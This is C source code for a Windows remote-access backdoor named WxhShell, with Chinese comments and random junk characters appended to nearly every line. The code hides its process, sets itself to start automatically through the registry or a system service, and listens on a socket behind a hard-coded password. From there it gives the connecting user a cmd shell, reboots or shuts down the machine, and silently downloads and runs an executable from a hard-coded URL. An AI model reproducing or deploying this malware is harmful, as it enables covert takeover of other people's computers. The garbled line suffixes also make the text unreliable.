} )e9(&y*o
,/:#=TuYm
if(!OsIsNt) { YG?W8)T
// 如果时win9x，隐藏进程并且设置为注册表启动 :(A]Bm3
HideProc(); 7Y@&&
StartWxhshell(lpCmdLine); sEe^:aSN
} 2}I1z_dq~
else 5x4JDaG2
if(StartFromService()) "z< =S
// 以服务方式启动 "]5]"F4]
StartServiceCtrlDispatcher(DispatchTable); "=9L7.E)
else E n{vCN
// 普通方式启动 G+^HZ4jg
StartWxhshell(lpCmdLine); N\HOo-X
j3IxcG}f
return 0; *"O7ml]
} X!"ltNd
IR(JBB|xNQ
fX#Em'Ab[
t%q@W,2J
=========================================== io$AGi
,t5Ku)eNm
sh:sPzQ%Jv
5sFp+_``
m}Kn!21
kVy%y"/
" 5R/k -h^`
C:l /%
#include <stdio.h> HeNg<5v%Y
#include <string.h> B Lw ssr.
#include <windows.h> ,>`wz^z
#include <winsock2.h> { >bw:^F
#include <winsvc.h> p_)V@7
#include <urlmon.h> x<~ pqq8]
#l+U(zH:JG
#pragma comment (lib, "Ws2_32.lib") *Jmy:C<>
#pragma comment (lib, "urlmon.lib") GO+cCNMa"
xuv%mjQ
#define MAX_USER 100 // 最大客户端连接数 JN$v=Ox{
#define BUF_SOCK 200 // sock buffer 37T<LU
#define KEY_BUFF 255 // 输入 buffer bQrH8)
MU<Y,4/k
#define REBOOT 0 // 重启 *y='0)[BD
#define SHUTDOWN 1 // 关机 >ys>Q)
Ym8G=KA
#define DEF_PORT 5000 // 监听端口 nQa5e_q!u
'_@Y
#define REG_LEN 16 // 注册表键长度 ,<d[5;7x
#define SVC_LEN 80 // NT服务名长度 i"r&CS)sT
XWf8ZZj
// 从dll定义API 0V1)ou84'
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (es+VI2!&C
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?76Wg::
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }f+If{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z+@aQ@75
VL?ubt<
// wxhshell配置信息 qb]n{b2
struct WSCFG { {W)Kz_
int ws_port; // 监听端口 D}>pl8ke~g
char ws_passstr[REG_LEN]; // 口令 N&]v\MjI62
int ws_autoins; // 安装标记, 1=yes 0=no [V|,O'X ~
char ws_regname[REG_LEN]; // 注册表键名 +\fr3@Yc
char ws_svcname[REG_LEN]; // 服务名 ^&03D5@LoY
char ws_svcdisp[SVC_LEN]; // 服务显示名 C\ZL*,%}
char ws_svcdesc[SVC_LEN]; // 服务描述信息 GLp2 ?fon
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rr>QG<i;G
int ws_downexe; // 下载执行标记, 1=yes 0=no &na#ES$X,
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w4Qqo(
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3{LXx
'_lyoVP
}; yM}}mypS
jrbEJ.
// default Wxhshell configuration 2?u>A3^R
struct WSCFG wscfg={DEF_PORT, `MAee8u'
"xuhuanlingzhe", =Mzg={)v
1, y>Zvose
"Wxhshell", s:'M[xI
"Wxhshell", K_{f6c<
"WxhShell Service", \_Nr7sc\
"Wrsky Windows CmdShell Service", -wH#B<'
"Please Input Your Password: ", kT&-:: ^R
1, orVsMT[A
"http://www.wrsky.com/wxhshell.exe", L$=@j_V2
"Wxhshell.exe" q#:,6HDd
}; x|d Xa0=N_
G~1#kg
// 消息定义模块 +0rMv
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &$?e D{
char *msg_ws_prompt="\n\r? for help\n\r#>"; x%23oPM
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *:J#[ET,
char *msg_ws_ext="\n\rExit."; ^m;dEe&@F
char *msg_ws_end="\n\rQuit."; )IPnSh/<
char *msg_ws_boot="\n\rReboot..."; 3UU]w`At
char *msg_ws_poff="\n\rShutdown..."; 7?-eR-
char *msg_ws_down="\n\rSave to "; JZQkr
l>`N+ pZ$
char *msg_ws_err="\n\rErr!"; f{xR s-u]
char *msg_ws_ok="\n\rOK!"; >y mMQEX`
,Dfq%~:grT
char ExeFile[MAX_PATH]; S+3'C
int nUser = 0; kq6S`~J^R
HANDLE handles[MAX_USER]; u*B.<GmN
int OsIsNt; 5 WSu
AFcsbw
SERVICE_STATUS serviceStatus; [_hHZMTH
SERVICE_STATUS_HANDLE hServiceStatusHandle; xT70Rp(2po
S8*VjG?T\
// 函数声明 Pk9s~}X
int Install(void); T=35?
int Uninstall(void); G;_QE<V~_
int DownloadFile(char *sURL, SOCKET wsh); !<H[h4g
int Boot(int flag); qg#TE-Y`
void HideProc(void); 4o8uWS{`
int GetOsVer(void); @P#uH5U
int Wxhshell(SOCKET wsl); Q}FDu,
void TalkWithClient(void *cs); AN7WMX
int CmdShell(SOCKET sock); [/hS5TG|7
int StartFromService(void); K-IXAdx
int StartWxhshell(LPSTR lpCmdLine); mt3j- Mw
n)uvN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0-pLCf
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ j;HYs_
EbSH)aR
// 数据结构和表定义 WJ=DTON
SERVICE_TABLE_ENTRY DispatchTable[] = G3n* bv
{ _5%SYxF*y
{wscfg.ws_svcname, NTServiceMain}, n"vl%!B
{NULL, NULL} ]2(vO0~
}; (__=*ew
}1]/dCv
// 自我安装 hm3,?FMbq
int Install(void) *#1&IJPI
{ x?Z)q4
char svExeFile[MAX_PATH]; # eqt{
HKEY key; #&0)kr66
strcpy(svExeFile,ExeFile); y ,isK
aSd$;t~
// 如果是win9x系统，修改注册表设为自启动 r/1:!Vu(
if(!OsIsNt) { @*q WV*$h
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .o91^jt
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D5fJuT-bp
RegCloseKey(key); kK&tB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9C}Ie$\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /]"&E"X"
RegCloseKey(key); Q:eIq<erY
return 0; JL $6Fw;
} Y(GH/jw
} W)JUMW2|
} rB;`&)-
else { B 3|zR
'EU{%\qM
// 如果是NT以上系统，安装为系统服务 w{k8Y?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?g|K"P<1
if (schSCManager!=0) '<~rV
{ D}'g4Ag
SC_HANDLE schService = CreateService "6_#APoP
( `GOxFDB.
schSCManager, fv$Y&_,5
wscfg.ws_svcname, D 7 l&L
wscfg.ws_svcdisp, +*'
SERVICE_ALL_ACCESS, }MP2)6
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W7.O(s,32
SERVICE_AUTO_START, 9+@"DuYc6
SERVICE_ERROR_NORMAL, W"Hjn/xSS
svExeFile, b\NWDH7}
NULL, !P/ ]o
NULL, -v?,{?$0
NULL, ,Hh7'`
NULL, 5EDHJU>
NULL /]%,C
); VaC#9Tp2X
if (schService!=0) xn)FE4
{ zOYkkQE3mJ
CloseServiceHandle(schService); 2+"=i/8
CloseServiceHandle(schSCManager); :,rD5aOQ
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W=M&U
strcat(svExeFile,wscfg.ws_svcname); fHvQ9*T
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :|`'\%zW-
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cd{3JGgB
RegCloseKey(key); :}x\&]uC#k
return 0; !jY/}M~F1
} G&:[G>iSm^
} zr@Bf!VG:
CloseServiceHandle(schSCManager); ?2[=llS4
} r4t|T^{sl
} l2GMVAca
Le9r7O:
return 1; -cyJjLL*
} 6;Cr92
RK(uC-l
// 自我卸载 &<@{ d
int Uninstall(void) toPA@V
{ 2g-'.w
HKEY key; B) &BqZ&
$m:}{:LDCf
if(!OsIsNt) { -`wGF#}y(=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#Ynn6
RegDeleteValue(key,wscfg.ws_regname); yGgHd=?
RegCloseKey(key); +A W6 >yV`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C yC<{D+
RegDeleteValue(key,wscfg.ws_regname); ~]Mq'
RegCloseKey(key); ~cSC-|$^&
return 0; (HLy;^#R
} 1w+OnJI?
} :d/Z&LXD
} ']$ttfJB
else { &k\7fvF
m#, F%s
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \^EjE
if (schSCManager!=0) y[qW>
{ gv `jeN
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X X{:$f+
if (schService!=0) yHQ.EZ~%
{ 5yp~PhHf
if(DeleteService(schService)!=0) { ;Iw'TF
CloseServiceHandle(schService); 9L%&4V}BIS
CloseServiceHandle(schSCManager); $f>WR_F
return 0; 0VoC|,$U
} y$*?k0=ZX
CloseServiceHandle(schService); 'Twi @I
} aEXV^5;,pJ
CloseServiceHandle(schSCManager); jR@-h"2*A
} 0J$wX yh
} zQ]IlMt
++,mM7a
return 1; C'n 9n!hR
} 8i-?\VZD
6e |
// 从指定url下载文件 1{o CMq/v
int DownloadFile(char *sURL, SOCKET wsh) H=X>o.iVqi
{ P%Q}R[Q
HRESULT hr; ddnWr"_
char seps[]= "/"; Km+29
char *token; )yJeh
char *file; 4 CX*,7LZ
char myURL[MAX_PATH]; 1}[\@n+b
char myFILE[MAX_PATH]; DX$`\PA
2"<}9A<Xs
strcpy(myURL,sURL); q6j]j~JxB
token=strtok(myURL,seps); 7MGc+M(p
while(token!=NULL) _nx|ZJ
{ /f%u_ 8pV%
file=token; Y#]Y$n
token=strtok(NULL,seps); s\7|b:y&
} C 2oll-kN
GrM~%ng
GetCurrentDirectory(MAX_PATH,myFILE); -vjjcyTt
strcat(myFILE, "\\"); r`<evwIe
strcat(myFILE, file); <V6#)^Or
send(wsh,myFILE,strlen(myFILE),0); WM@uxe,
send(wsh,"...",3,0); _R5^4-Qe
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]|[xY8 5}
if(hr==S_OK) 1>1|>%
return 0; H>DJ-lG(
else ^f`#8G7(
return 1; 40g&zU-
snEkei|0
} [MiD%FfcNH
k*!J,/=k
// 系统电源模块 |LNXu
int Boot(int flag) 2>EIDRLJ-
{ yY"%6k,ZB
HANDLE hToken; jzPC9
TOKEN_PRIVILEGES tkp; ;<&s_C3
U;jk+i
if(OsIsNt) { 3c9[FZ@ya
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qQ1m5_OD`z
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ B (lJz
tkp.PrivilegeCount = 1; [j!0R'T
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n[iil$VKh
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J,~)9Kh$
if(flag==REBOOT) { 8\a)}k~4
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sztnRX_
return 0; F~DG:x~
} 9J%>2AA
else { Y]Fq)-
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7=<PVJ*/
return 0; M>]%Iu
} 2i>xJMW
} #Se
else { )0GnTB;5Z
if(flag==REBOOT) { q7)$WXe2LM
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }6S4yepl
return 0; i#-Jl7V[a
} m+u>%Ys`
else { 3] @<.
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vj_oMmjKw
return 0; =~arj
} JPpYT~4
} FVD}9ia
q%y_<Fw#E
return 1; .(hb8 rCM
} IB?A]oN1{
siG?Sd_2
// win9x进程隐藏模块 B{K'"uC
void HideProc(void) sEj:%`l|
{ f,-|"_5;
cj8r-Vu/N
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P! 3$RO
if ( hKernel != NULL ) H\b5]q%
{ a-}%R
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); woT"9_tN
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :^*V[77
FreeLibrary(hKernel); '^J/aV
} K;97/"
#0P<#S^7
return; QP;b\11m
} ,-1$Vh@wM
'w!gQ#De
// 获取操作系统版本 e7?W VV,
int GetOsVer(void) ?I0 i%nH
{ -'N#@Wdr
OSVERSIONINFO winfo; n=SZ8Rj7
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lcP@5ZW
GetVersionEx(&winfo); 87Uv+((H
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B~aOs>1 S]
return 1; |HU qqlf
else IL=v[)en4
return 0; T7T!v
} (g)@wNBW
qB39\j
// 客户端句柄模块 h@~X*yLKh
int Wxhshell(SOCKET wsl) :^s7#4%6
{ LWL>hd
SOCKET wsh; I>3]4mI*a
struct sockaddr_in client; Hb+#*42v
DWORD myID; W@C56fCa
.apX72's,
while(nUser<MAX_USER) (XwLKkw0n
{ +{%4&T<nHw
int nSize=sizeof(client); ~fF}
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )[)]@e
if(wsh==INVALID_SOCKET) return 1; /2cI{]B
t(Zs*c(
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Wn.@bz6B
if(handles[nUser]==0) >YBpB,WND
closesocket(wsh); \l:g{GnoT
else N.G*ii\
nUser++; ^0|NmMJ]
} cORMR!
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U>+~.|'V9
mCt>s9a)H
return 0; /8MQqZ C
} @Y<tH,*
e87- B1`
// 关闭 socket !~N4}!X3du
void CloseIt(SOCKET wsh) JZ%F
{ 6}T%m?/}
closesocket(wsh); &7T H V
nUser--; bVeTseAG
ExitThread(0); '^l^gW/|\
} {&#~t4
yOK])&c
// 客户端请求句柄 ^B5cNEO
void TalkWithClient(void *cs) ^CPfo/!
{ i5KwYoN
Dw=Z_+J
SOCKET wsh=(SOCKET)cs; daIL> c"
char pwd[SVC_LEN]; 8}{o2r@
char cmd[KEY_BUFF]; ,GJ>vT)
char chr[1]; ~J-|,ZMd
int i,j; P"x-7>c>Y
|NU0tct^
while (nUser < MAX_USER) { bjBeiKH
pRwGv
if(wscfg.ws_passstr) { K`,d$
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }=hoATs
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fHd!/%iG
//ZeroMemory(pwd,KEY_BUFF); ),]2`w&k
i=0; !049K!rP{
while(i<SVC_LEN) { '95E;RV&
Yc82vSG'
// 设置超时 q Iy^N:C2'
fd_set FdRead; Nr24[e G>d
struct timeval TimeOut; _ML~c&9jv
FD_ZERO(&FdRead); `GQiB]Z
FD_SET(wsh,&FdRead); em1cc,
TimeOut.tv_sec=8; ,B%fjcn
TimeOut.tv_usec=0; E ;!<Z4
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZjZhz`
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H_?B{We
"Ug/ ',jkV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :5S |x/
pwd=chr[0]; |jk-@ Z*
if(chr[0]==0xd || chr[0]==0xa) { 3_MS'&M
pwd=0; &'(a$S>v
break; {@V3?pG?p
} v1nQs='
i++; g. ?*F#2
} Q)Iv_N/
V5O=iMP
// 如果是非法用户，关闭 socket =zm0w~']E!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *IWFeu7y
} m-ph}
OK-sT7But
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TF=k(@9J?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N^\2 _T
z!s.9
while(1) { G#e9$!
Z'Exw-ca
ZeroMemory(cmd,KEY_BUFF); *BLe3dok(
>gk z4.*
// 自动支持客户端 telnet标准 %j'G.*TD
j=0; pw,O"6J*
while(j<KEY_BUFF) { [1b6#I"x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )sW6iR&_i
cmd[j]=chr[0]; [ WV@w
if(chr[0]==0xa || chr[0]==0xd) { l'*^$qc
cmd[j]=0; ><NI'q*cQ
break; d>%gW*
} q=6Cc9FN
j++; `DLp<_z>
} YV/>8*i
,3Wb4so
// 下载文件 K8HIuQ!=
if(strstr(cmd,"http://")) { lWx
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $#%U\mIz
if(DownloadFile(cmd,wsh)) vBh;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOC% oj
else fdlvn*H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $hkq>i \
} 'X7%35Y
else { D.'h?^kA
lVPOYl%
switch(cmd[0]) { Qg(Z{V
`79[+0hL'
// 帮助 'E4AV58.
case '?': { ~C&*.ZR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'a(oI
break; %2f//SZ:
} sI_7U^"[
// 安装 [r)eP({
case 'i': { N]NF\7(
if(Install()) {esJ=FV\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nZUL*Ut/
else ]r4bRK[1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~9GOk;{~&
break; QK)){cK
} zuSq+pxL@
// 卸载 <aJ$lseG
case 'r': { ,LDm8
if(Uninstall()) =;0wFwSz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 8Vcu'j&_
else <$%X<sDkq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`jc#f5+'
break; Z(j{F<\jS
} )VSwTx&
// 显示 wxhshell 所在路径 v,=v
case 'p': { ?38lHn`FyQ
char svExeFile[MAX_PATH]; >nzu],U
strcpy(svExeFile,"\n\r"); -w1@!Sdd
strcat(svExeFile,ExeFile); ,R?np9wc
send(wsh,svExeFile,strlen(svExeFile),0); @@@=}!<H=
break; :_5/u|{
} (a@?s$LG
// 重启 ?+~cA^-3T
case 'b': { ~e `Bq>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $=B8qZ+
if(Boot(REBOOT)) oc7$H>ET1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*q[(,9
else { .f:n\eT):
closesocket(wsh); V8WFQdXc
ExitThread(0); %<"}y$J
} 0fm*`4Q
break; "T2"]u<52
} RBwO+J53y
// 关机 hA}~es=c
case 'd': { -#In;~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /P:.qtT(
if(Boot(SHUTDOWN)) %' $o"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-KMb`xT
else { H#i{?RM@l
closesocket(wsh); vAb^]d
ExitThread(0); mO*^1
} 6Wj^*L!
break; t23'x0l
} 0Yl4eB-
// 获取shell >&,[H:Z
case 's': { $P z`$~
CmdShell(wsh); izgp*M,
closesocket(wsh); 'sh~,+g
ExitThread(0); G7GZDi
break; dq\FBwfe
} m<rhIq
// 退出 tZyo`[La
case 'x': { ^qGb%! l
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fmyj*)J[Z
CloseIt(wsh); m)v''`9LU
break; 80b;I|-T,
} hR#-u1C
// 离开 d}'U?6ob
case 'q': { 5xCT~y/a
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m: n`g1
closesocket(wsh); sRSz}]
WSACleanup(); j/`94'Y
exit(1); (8$k4`T>
break; M`YWn ;
} <"N_j]wD
} ~{hxR)x9
} o+w;PP)+=
}jH7iyjD
// 提示信息 $YxBE`)d-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3E3U /K
} ^d}gpin
} [.se|]t7X
q6Rr.A
return; Kl7WQg,XOi
} m!<i0thJ
1"Z@Q`}
// shell模块句柄 }En
int CmdShell(SOCKET sock) XU!2YO)t;!
{ :NJ_n6E
STARTUPINFO si; :B3[:MpL}
ZeroMemory(&si,sizeof(si)); OsBo+fwT
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *eI)Z=8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lbe\@S
PROCESS_INFORMATION ProcessInfo; rX_@Ihv'
char cmdline[]="cmd"; r/pH_@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JB!:JML
return 0; !It`+0S b
} Lg8nj< TF
SJD@&m%?[
// 自身启动模式 4tL<q_
int StartFromService(void) U*90m~)
{ ]7-&V-Ct*
typedef struct HhO".GA
{ :0Z^uuk`gq
DWORD ExitStatus; oFjIA!
DWORD PebBaseAddress; ;iDPn2?6?x
DWORD AffinityMask; 21k5I #U
DWORD BasePriority; )`^p%k
ULONG UniqueProcessId; *JggU
ULONG InheritedFromUniqueProcessId; ^N8)]F,
} PROCESS_BASIC_INFORMATION; {U&.D [{&
+`3!I
PROCNTQSIP NtQueryInformationProcess; :W b j\
+P.+_7+:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ss;R8:5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .<kqJ|SVi
F~A'X
HANDLE hProcess; y% :4b@<
PROCESS_BASIC_INFORMATION pbi; ^vG8#A}]
9 \^|6k,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mPq$?gdp
if(NULL == hInst ) return 0; %,+leKs
zYl#4O`=c
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i2~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CI3XzH\IX*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B"%{i-v>**
!^Q.VYY
if (!NtQueryInformationProcess) return 0; $-[CG7VgX%
2NB L}x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %YOndIS:
if(!hProcess) return 0; eh"3NRrN
ZvcJK4hi
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-1r$31p
Nj("|`9"
CloseHandle(hProcess); JEE{QjTh
`a9L%z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #s!'+|2n
if(hProcess==NULL) return 0; z({hiVs
#-h\.#s
HMODULE hMod; #A]-ax?Qc}
char procName[255]; ? w^-
unsigned long cbNeeded; u,3#M ~
Wh&8pH:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Y`,qB<B
~F1:N>>_Cf
CloseHandle(hProcess); ,^S@EDq
[TNj;o5J
if(strstr(procName,"services")) return 1; // 以服务启动 jM\*A#Jo5
<8,cuX\
return 0; // 注册表启动 IgC}&
} dg^L=
.Lfo)?zG
// 主模块 u :F~K
int StartWxhshell(LPSTR lpCmdLine) w9|w2UK
{ bGorH=pb5R
SOCKET wsl; Q[#vTB$f
BOOL val=TRUE; r7Ya\0gU
int port=0; Q:$Zy
struct sockaddr_in door; , lJv
X6^},C'E.:
if(wscfg.ws_autoins) Install(); 3QpYmX<E
/<rt1&0
port=atoi(lpCmdLine); !Kv@\4
Uo-`>7
if(port<=0) port=wscfg.ws_port; =~+DUMBT
>"Q@bQ:e
WSADATA data; \w'*z&`W9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~@kU3ZGJZ
~,2/JDVJ5-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,k G>?4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E_zIg+(+
door.sin_family = AF_INET; Oez>X=Xf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); T,$WlK Wj
door.sin_port = htons(port); 57 #6yXQ
LzCw+@-umw
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1@lJonlF
closesocket(wsl); |`;54_f
return 1; ~.!c~fke
} Zc?ppO
t3+Py7qv
if(listen(wsl,2) == INVALID_SOCKET) { bb d.
closesocket(wsl); WAn'kA
return 1; 1 1cWy+8D
} |^9BA-nA
Wxhshell(wsl); }Nb8}(6
WSACleanup(); b?eu jxqg
\.g\Zib )
return 0; bz| D-.
IVW1]y
} 'fL"txW
$2%f 8&
// 以NT服务方式启动 CR|lt
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vip~'
{ A7c/N=Cp^
DWORD status = 0; kD}Y|*]5-5
DWORD specificError = 0xfffffff; F!.E5<&7=
CX m+)a-L
serviceStatus.dwServiceType = SERVICE_WIN32; tbO H#|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; t5lO'Ll*Q]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CwX Z
serviceStatus.dwWin32ExitCode = 0; eW>3XD4
serviceStatus.dwServiceSpecificExitCode = 0; {%#)5l)
serviceStatus.dwCheckPoint = 0; %2V-~.Ro6
serviceStatus.dwWaitHint = 0; 5 Qoew9rA
v)_nWu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lHV[Ln`\x
if (hServiceStatusHandle==0) return; b^[F""!e
o:6@Kw^
status = GetLastError(); %e@HZ"V
if (status!=NO_ERROR) b]a@
{ -)~SM&
serviceStatus.dwCurrentState = SERVICE_STOPPED; RQFI'@Ks
serviceStatus.dwCheckPoint = 0; wd/< 8>2X
serviceStatus.dwWaitHint = 0; )yo a
serviceStatus.dwWin32ExitCode = status; "}Me}S<
serviceStatus.dwServiceSpecificExitCode = specificError; :eZh'-c?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ikdM/
return; o!~Jzd.=h
} Z;h<6[(
W0=O+0$^
serviceStatus.dwCurrentState = SERVICE_RUNNING; ai*f F
serviceStatus.dwCheckPoint = 0; FEo269Ur
serviceStatus.dwWaitHint = 0; Qeu\&%C!<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); apk4j\i?5
} *|_"W+JC
!d&C>7nb
// 处理NT服务事件，比如：启动、停止 +1~Z#^{&
VOID WINAPI NTServiceHandler(DWORD fdwControl) mYc.x
{ DD44"w_9
switch(fdwControl) %0Y=WYUH>
{ FW"^99mrnb
case SERVICE_CONTROL_STOP: 76vy5R(.
serviceStatus.dwWin32ExitCode = 0; vLxQ *50v$
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,E|m.
serviceStatus.dwCheckPoint = 0; xm6EKp:
serviceStatus.dwWaitHint = 0; H'qG/@u-l
{ ?:Y#Tbi3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mm5$> [%U
} |7KeR-
return; B>Wu;a.:L
case SERVICE_CONTROL_PAUSE: _ %%Z6x(
serviceStatus.dwCurrentState = SERVICE_PAUSED; z_ =Bt
break; I!wX[4p eg
case SERVICE_CONTROL_CONTINUE: <[GYLN[0Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ix|~f1*%
break; =:SN1#G3n
case SERVICE_CONTROL_INTERROGATE: .qA{xbu
break; {_U Kttp
}; B4XZko(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1T)Zh+?)}
} Eq:2k)BE
al+ #y)+
// 标准应用程序主函数 i*eAdIi
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RwVaZJe)l
{ ,p;_\\<
IcIOC8WC
// 获取操作系统版本 *1@:'rJ
OsIsNt=GetOsVer(); 8^B;1`#
GetModuleFileName(NULL,ExeFile,MAX_PATH); gN {'UDg
pb0E@C/R
// 从命令行安装 tvd0R$5}
if(strpbrk(lpCmdLine,"iI")) Install(); 1b9hE9a{j
TEsnNi 1
// 下载执行文件 rd3j1U
if(wscfg.ws_downexe) { k'_ P7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $mGvJ*9
WinExec(wscfg.ws_filenam,SW_HIDE); x7T+>
} @d"wAZzD?
@DC)]C2
if(!OsIsNt) { &6Il(3-^
// 如果时win9x，隐藏进程并且设置为注册表启动 Lhh;2r/?78
HideProc(); ):EBgg4-N
StartWxhshell(lpCmdLine); 8[ry|J
} zdSh:
